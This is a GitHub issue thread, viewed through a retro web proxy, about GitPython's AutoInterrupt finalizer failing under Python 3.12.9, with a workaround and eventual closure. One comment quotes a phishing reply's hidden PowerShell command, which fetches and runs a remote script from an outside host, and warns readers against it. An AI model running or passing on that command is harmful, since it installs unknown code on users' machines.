GV

GeezerVison

The World Wide Web, restored to 800 pixels of glory.

Home|About|Gaming cabinet|Archives|How it works|Starter sites

On this site

  • Sign in
  • ActionsCI/CD and automation
  • CodespacesCloud development environments
  • All Features
  • Documentation
  • Training
  • Certifications
  • Build with Copilot
  • Customize Copilot
  • Integrations
  • Trending repos
  • GitHub Sponsors
  • Developer articles
  • Enterprises

This view

  • Original page
  • New address

GeezerVison is showing github.com — AutoInterrupt is broken with Python 3.12.9 · Issue #2003 · gitpython-developers/GitPython

AutoInterrupt is broken with Python 3.12.9 #2003

New issue
Copy link
New issue
Copy link
Closed
Bug
Closed
AutoInterrupt is broken with Python 3.12.9#2003
Bug
Copy link
Labels
acknowledgedhelp wanted

Description

@ziyao233
ziyao233
opened on Feb 16, 2025
Issue body actions

Refer to the comment, CPython is refactoring stdlib modules with lazy import, improving performance on loading.

Unfortunately, this breaks the AutoInterrupt wrapper in GitPython, whose finalizer makes use of subprocess.Popen.terminate(). After the refactor of subprocess module1, the terminate() method may lazily load signal module, which is problematic if it is invoked during the interpreter finalization.

A real-world reproducer is the spdxcheck.py2 script in Linux kernel,

$ ./scripts/spdxcheck.py outgoing/clock/v3/v3-0001-dt-bindings-clock-Document-clock-and-reset-unit-o.patch 
Exception ignored in: <function Git.AutoInterrupt.__del__ at 0x7f25d89cd260>
Traceback (most recent call last):
  File "/usr/lib/python3.12/site-packages/git/cmd.py", line 790, in __del__
  File "/usr/lib/python3.12/site-packages/git/cmd.py", line 781, in _terminate
  File "/usr/lib/python3.12/subprocess.py", line 2220, in terminate
ImportError: sys.meta_path is None, Python is likely shutting down
Reacted by Rick van den Hof

Activity

  1. ziyao233
    changed the title [-]AutoInterrupt is broken with Python 3.12[/-] [+]AutoInterrupt is broken with Python 3.12.9[/+] on Feb 16, 2025
  2. gpshead commented on Feb 16, 2025

    @gpshead
    gpshead
    on Feb 16, 2025
    More actions

    Python-side fixes will be in the next 3.12 and 3.13 patch releases. What gitpython can do to work around it is something along the lines of this workaround within git.cmd._terminate:

    import signal   # top of the git/cmd.py file.
    
    ...
    
        def __del__(self):  # Git.AutoInterrupt.__del__
            ...
            try:
                self.$PROC.terminate()
            except ImportError:
                # workaround for https://github.com/python/cpython/issues/118761#issuecomment-2661504264 in 3.12.9 and 3.13.2
                self.$PROC.send_signal(signal.SIGTERM)
            ...
  3. gpshead commented on Feb 16, 2025

    @gpshead
    gpshead
    on Feb 16, 2025
    More actions

    That's somewhat awkward, you could just always import signal at the top level and call .send_signal(signal.SIGTERM) itself as in the exception handler. But at least leave a comment as to why, otherwise someone may see that and want to refactor it into a .terminate() call again. Whether that needs to persist depends on how long unpatched pythons for this remain in the wild after our next patch releases.

  4. gpshead commented on Feb 16, 2025

    @gpshead
    gpshead
    on Feb 16, 2025
    More actions

    That workaround is POSIX platform specific, .send_signal on Windows will still have the issue but .terminate itself should work there as it calls a windows specific API directly.

  5. Byron
    added
    acknowledged
    help wanted
    on Feb 17, 2025
  6. Byron commented on Feb 17, 2025

    @Byron
    Byron
    on Feb 17, 2025
    Member
    More actions

    Thanks a lot for reporting and sketching out a possible workaround.

  7. ziyao233 commented on Apr 10, 2025

    @ziyao233
    ziyao233
    on Apr 10, 2025
    Author
    More actions

    maybe this will solve your problem click

    DONT DO THIS. This is not only a spam, but even a phishing which leads you to run

    powershell -WindowStyle Hidden -Command ([ScriptBlock]::Create((irm http://customamusement.com/pagecable/guardoffice))).Invoke()
    

    if you're on a Windows system. I've not inspected the underlying script but am sure something bad may happen.

    Reacted by Eliah Kagan and Seele Volleri
  8. Apanatshka commented on Apr 28, 2025

    @Apanatshka
    Apanatshka
    on Apr 28, 2025
    More actions

    I ran into this issue, upgraded to Python 3.12.10, and the issue went away. So I suspect that this issue is resolved.

  9. Byron
    added the
    Bug
    issue type on Jul 20, 2026
  10. Byron commented on Jul 20, 2026

    @Byron
    Byron
    on Jul 20, 2026
    Member
    More actions

    agent

    This was a CPython regression limited to 3.12.9/3.13.2; reporters confirmed 3.12.10 fixed it. Supporting those specific broken patch releases with permanent shutdown machinery does not seem worthwhile.

    Reacted by Eliah Kagan
  11. Byron
    closed this as completedon Jul 20, 2026
Sign up for free to join this conversation on GitHub. Already have an account? Sign in to comment

Metadata

Metadata

Assignees

No one assigned

    Labels

    acknowledgedhelp wanted

    Type

    Bug

    Projects

    No projects

      Milestone

      No milestone

      Relationships

      None yet

      Development

      No branches or pull requests

      Issue actions

      You are visitor 01402503 — GeezerVison does not store the pages you look up.
      Best viewed with Netscape Navigator 4.7 or Internet Explorer 6 at 800×600. No cookies required.